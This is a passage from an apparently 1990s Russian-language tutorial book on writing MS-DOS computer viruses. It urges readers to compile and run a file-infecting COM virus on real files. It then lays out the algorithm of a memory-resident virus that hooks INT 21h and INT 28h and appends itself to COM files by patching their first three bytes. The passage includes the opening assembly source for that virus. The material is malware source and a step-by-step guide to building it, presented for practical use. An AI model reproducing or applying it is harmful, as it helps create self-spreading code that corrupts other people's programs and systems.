общем совсем неплохой книги. " Книжный " вирус су-
щественно переработан,исправлены замеченные ошибки
и глюки.Несмотря на это поступок автора трудно на-
звать плагиатом. Просто затронутая в работе П.Л.
Хижняка тема получила новое развитие.
1.19 Комментарии
Вирус,который мы разработали, отыскивает программы
для заражения лишь в том каталоге, из которого был
запущен зараженный файл .Понятно,что в этом случае
большой заразностью он не обладает.Но во - первых,
мы идем от простого к сложному, и следующие наши
программы будут более эффективными .А во - вторых,
эта разработка лишь преследовала цель показать ос-
новные приемы изготовления вирусных программ.Кроме
того, чрезмерная сложность наверняка отпугнула бы
читателя .
1.20 Испытание вируса
Для проверки в действии разработанной нами програ-
ммы просто скопируйте ее в отдельный файл ( коне-
чно, только если у вас есть дискета с текстом кни-
ги ).Далее скопируйте в каталог с вирусом несколь-
ко COM - файлов.Откомпилируйте исходный текст и
запустите полученный COM - файл,содержащий в себе
вирусный код.Проблем с компиляцией быть не должно,
так как программа тщательно тестировалась . По-
наблюдайте, как вирус заражает файлы .Попробуйте
запустить зараженную программу под управлением от-
ладчика и в автоматическом режиме.И, наконец, про-
верьте зараженную программу с помощью DOCTOR WEB .
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ
2.1 Понятие резидентного ( TSR ) вируса
Резидентными называют вирусы, которые после запус-
ка зараженной программы помещают свой код в опера-
тивную память . Этот код "занимается" заражением
файлов и находится в памяти в течение всего сеанса
работы .
Резидентные вирусы обычно намного заразнее нерези-
дентных и распространяются быстрее .Однако создать
такой вирус не так просто . Кроме того,резидентные
вирусные программы подвержены всевозможным сбоям
и могут конфликтовать с установленным на компьюте-
ре программным обеспечением . Но несмотря на все
трудности, возникающие при разработке резидентных
вирусов, их было создано великое множество .
В предлагаемой вниманию читателей главе рассказы-
вается о приемах создания TSR - вирусов, поражаю-
щих COM - файлы .Кроме того, освещаются основные
проблемы, с которыми приходится встречаться при их
разработке .
2.2 Несколько слов о резидентных программах
Вы,наверное, знаете, как строятся резидентные про-
граммы .В этом пункте мы немного поговорим об их
организации и функционировании .
Резидентными называют программы,которые после сво-
его завершения остаются в памяти и активизируются
при наступлении каких - либо событий в вычисли-
тельной системе .Такими событиями могут быть, нап-
ример, нажатие " горячей " комбинации клавиш, вы-
полнение некоторых операций с дисками и т. п .Но в
любом случае программа получает управление при
тех или иных условиях .
Все резидентные программы строятся одинаково, или
почти одинаково, и состоят из двух секций - секции
инициализации и собственно резидентной части.Рези-
дентная часть, как правило, состоит из одной или
нескольких подпрограмм - обработчиков прерываний и
находится в памяти во время сеанса работы компью-
тера .Такие подпрограммы могут полностью подменять
собой системные обработчики или только служить их
дополнением.Естественно,для того,чтобы резидентная
часть получила управление, необходимо заменить со-
ответствующие вектора в таблице векторов прерыва-
ний на точки входа в заново установленные обработ-
чики.Эту функцию и выполняет секция инициализации,
которая всегда выполняется при запуске программы
первой .
После перехвата прерываний, которые должна обраба-
тывать резидентная часть, секция инициализации за-
вершает программу, используя для этой цели преры-
вание или функцию резидентного завершения MS DOS .
В результате резидентная часть остается в памяти и
активизируется в случаях, предусмотренных автором
программы . Часть инициализации в процессе работы
больше не потребуется,поэтому оставлять ее в памя-
ти бессмысленно, и она " затирается " MS DOS в
случае необходимости .
2.3 Алгоритм работы резидентного
COM - вируса
Рассмотрим один из возможных алгоритмов работы ре-
зидентного COM - вируса .
По своей сути резидентный вирус отличается от обы-
чной резидентной программы только тем, что он раз-
множается сам по себе, независимо от желания поль-
зователя.Значит,построить его можно по той же схе-
ме, по которой пишутся обычные TSR - программы .Но
сначала выясним,что должны делать секция инициали-
зации вируса и его резидентная часть .
Итак :
Секция инициализации выполняет следующие действия:
1. Получает управление при запуске зараженной про-
граммы .
2. Проверяет, установлена ли в память резидентная
часть вируса .
3. Восстанавливает в памяти компьютера исходные
три байтa этой программы .
4. Если резидентная часть не установлена,выполняю-
тся следующие действия :
a.) Отыскивается свободный блок памяти достато-
чного для размещения вируса размера .
б.) Код вируса копируется в найденный блок па-
мяти .
в.) В таблице векторов прерываний соответству-
ющие вектора заменяются точками входа в ви-
русные обработчики .
г.) Выполняется переход на начало зараженной
программы ( на адрес CS : 100h ).После это-
го программа выполняется, как обычно .
В том случае, если резидентная часть вируса уже
находится в памяти, он просто передает управление
зараженной программе .
Резидентная часть выполняет следующие действия :
1. Анализирует все вызовы системного прерывания
INT 21h с целью выявить переход оператора в новый
каталог или смену текущего диска .
2. Если обнаружится смена текущего диска или ката-
лога, резидентная часть должна :
а.) Сохранить исходное состояние вычислительной
системы .
б.) Найти на диске подходящий COM - файл .
в.) Записать тело вируса в конец этого файла .
г.) Заменить первые три байта заражаемой про-
граммы командой перехода на вирусный код,
сохранив предварительно исходные три байта
в своей области данных.
д.) Восстановить исходное состояние вычислите-
льной системы и передать ей управление .
Если оператор не будет менять текущий католог или
диск, вирус, очевидно, ничего заразить не сможет .
Как вы уже заметили, заражением файлов занимается
исключительно резидентная часть ! Секция инициали-
зации нужна только для инсталляции вируса в па-
мять .Кроме того, в отличие от обычной резидентной
программы, в вирусе эта секция записывается в па-
мять вместе с резидентной частью . Иначе при за-
писи ее в заражаемый файл возникли бы серьезные
трудности .
Из рассказанного в этом пункте легко сделать вы-
вод о том, насколько резидентный вирус должен быть
устроен сложнее обычного .Вместе с тем, в его на-
писании нет ничего магического, и вы без труда
разберетесь в следующей программе .
2.4 Заголовок вируса
Для разработки вируса мы, как и раньше, будем ис-
пользовать COM формат .
Естественно,в резидентном вирусе будут использова-
ны некоторые блоки, созданные нами в предыдущей
главе .Поэтому на их работе мы останавливаться не
будем, а вместо этого сделаем акцент на новых при-
емах, реализованных в программе .
Итак, начнем :
prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
start: jmp vir ;Передача управ-
;ления вирусному
;коду ...
org 110h
Приведенные команды и директивы выполняют те же
самые функции, что и аналогичные, использованные
нами при создании нерезидентной вирусной програм-
мы .
2.5 Вирус начинает работу
Несколько забегая вперед, отметим, что наш вирус
будет работать так :
1. Обработчик прерывания Int 21h отслеживает
смену оператором текущего каталога или дис-
ка. Если пользователь действительно сменил
диск или каталог,то переменная TG_INFECT ус-
танавливается в единицу.
2. Обработчик прерывания Int 28h вызывается DOS
всякий раз, когда можно, не боясь зависаний,
обращаться к системным функциям, работающим
с файлами. Поэтому естественно возложить на
него задачу поиска и заражения файлов.Исходя
из этого процедура обработки Int 28h прове-
ряет значение TG_INFECT, и если оно равно
единице, выполняет поиск и заражение файлов.
--------------------------------------------------
После перехода на метку " vir " начинается испол-
нение вирусной программы .Поэтому продолжим :
( Собственно это и есть начало обработчика преры-
вания Int 28h )
vir: db 0ebh ;90h - Для рези-
db push_len ;90h дентной
; работы .
pushf ;Запишем флаги
;в стек ...
cmp cs:tg_infect-110h,1;Активизиро-
;ваться ?
je cs:vir_2 ;Да ...
call dword ptr cs:old_28h - 110h
;Нет - вызовем
;старый обработ-
;чик INT 28h,
;чтобы не топить
;другие TSR ...
iret
vir_2: popf ;Переключаем
;стек для TSR -
;исполнения на
mov cs:ss_save-110h,ss ;себя ...
mov cs:sp_save-110h,sp
mov cs:help_word - 110h,cs
mov ss,cs:help_word - 110h
mov sp,to_newstack + 136
mov cs:tg_infect - 110h,0
pushf ;Вызываем старый
db 9ah ;обработчик
old_28h dw 0 ;INT 28h ...
old_28h_2 dw 0
Обратите внимание на команду,записанную в машинном
коде сразу за меткой " vir " .Сейчас мы попробуем
разобраться, зачем она потребовалась .
Как вы знаете, наш вирус должен быть резидентным и
состоять из двух частей .При этом секция инициали-
зации исполняется только в транзитном ( нерезиден-
тном ) режиме,а резидентная часть - только в рези-
дентном.
Команда
db 0ebh ;90h - Для рези-
db push_len ;90h дентной
; работы .
играет роль " переключателя " между транзитным и
резидентным кодами .При заражении вирус записывает
в файл команду перехода, которая при запуске зара-
женного файла передает управление на " push_len "
байт вперед, где как раз и начинается секция ини-
циализации .Если же попытаться выполнить эту кома-